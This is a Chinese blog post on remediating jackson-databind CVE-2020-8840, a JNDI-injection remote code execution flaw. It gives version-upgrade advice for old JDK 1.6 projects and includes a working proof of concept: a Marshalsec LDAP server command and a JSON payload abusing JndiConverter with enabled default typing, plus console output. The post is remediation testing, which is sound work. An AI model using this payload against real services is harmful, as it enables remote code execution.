jackson-databind远程代码执行漏洞(CVE-2020-8840)修复与测试
漏洞介绍攻击者可以利用此漏洞通过JNDI注入的方式执行本地Web容器下的任意代码,后文中将测试LDAP方式的远程代码调用,受影响版参见:NVD。修复建议网上能找到的大部分修复建议是将jackson-databind的版本升级到2.9.10.4或后续版本,此方法的确行之有效,但是对于使用JDK1.6的老项目就比较尴尬,因为至2.8版本后jackson-databind字节码不再兼容JDK1.6...
·
漏洞介绍
攻击者可以利用此漏洞通过JNDI注入的方式执行本地Web容器下的任意代码,后文中将测试LDAP方式的远程代码调用,受影响版参见:NVD。
修复建议
网上能找到的大部分修复建议是将jackson-databind的版本升级到2.9.10.4或后续版本,此方法的确行之有效,但是对于使用JDK1.6的老项目就比较尴尬,因为至2.8版本后jackson-databind字节码不再兼容JDK1.6,运行时会报Unsupported major.minor version 51.0错误,对于这种情况可以使用2.7.9.7版本修复,该版本的字节码仍然兼容JDK1.6,且确实具有修复效果,其佐证如下:
- 漏洞详情中受影响版本不包含2.7.9.7
- 项目github上的2.7.9.7发行版说明中明确指出了对此漏洞的修复
- 后文中的测试验证
漏洞测试
此漏洞会将特定输入进行JNDI转换并执行,这里测试只测试到调用端收到请求,实际执行类并未编写,测试步骤:
- 使用Marshalsec工具开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#ExportObject 1389
- 使用ObjectMapper.readValue方法对特定的字符串进行对象映射
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.apache.xbean.propertyeditor.JndiConverter\", {\"asText\":\"ldap://localhost:1389/ExportObject\"}]";
try {
mapper.readValue(json, Object.class);
} catch (IOException e) {
e.printStackTrace();
}
- 测试结果
漏洞版本:
Send LDAP reference result for ExportObject redirecting to http://localhost:8080/ExportObject.class
修复版本:没有收到LDAP请求
备注:以上观察结果为运行Marshalsec的控制台输出,修改jackson-databind后记得Maven需要Import Change。
附件中有测试项目,Marshalsec位于项目的resources目录下,可找到绝对路径调用。
更多推荐
已为社区贡献1条内容
所有评论(0)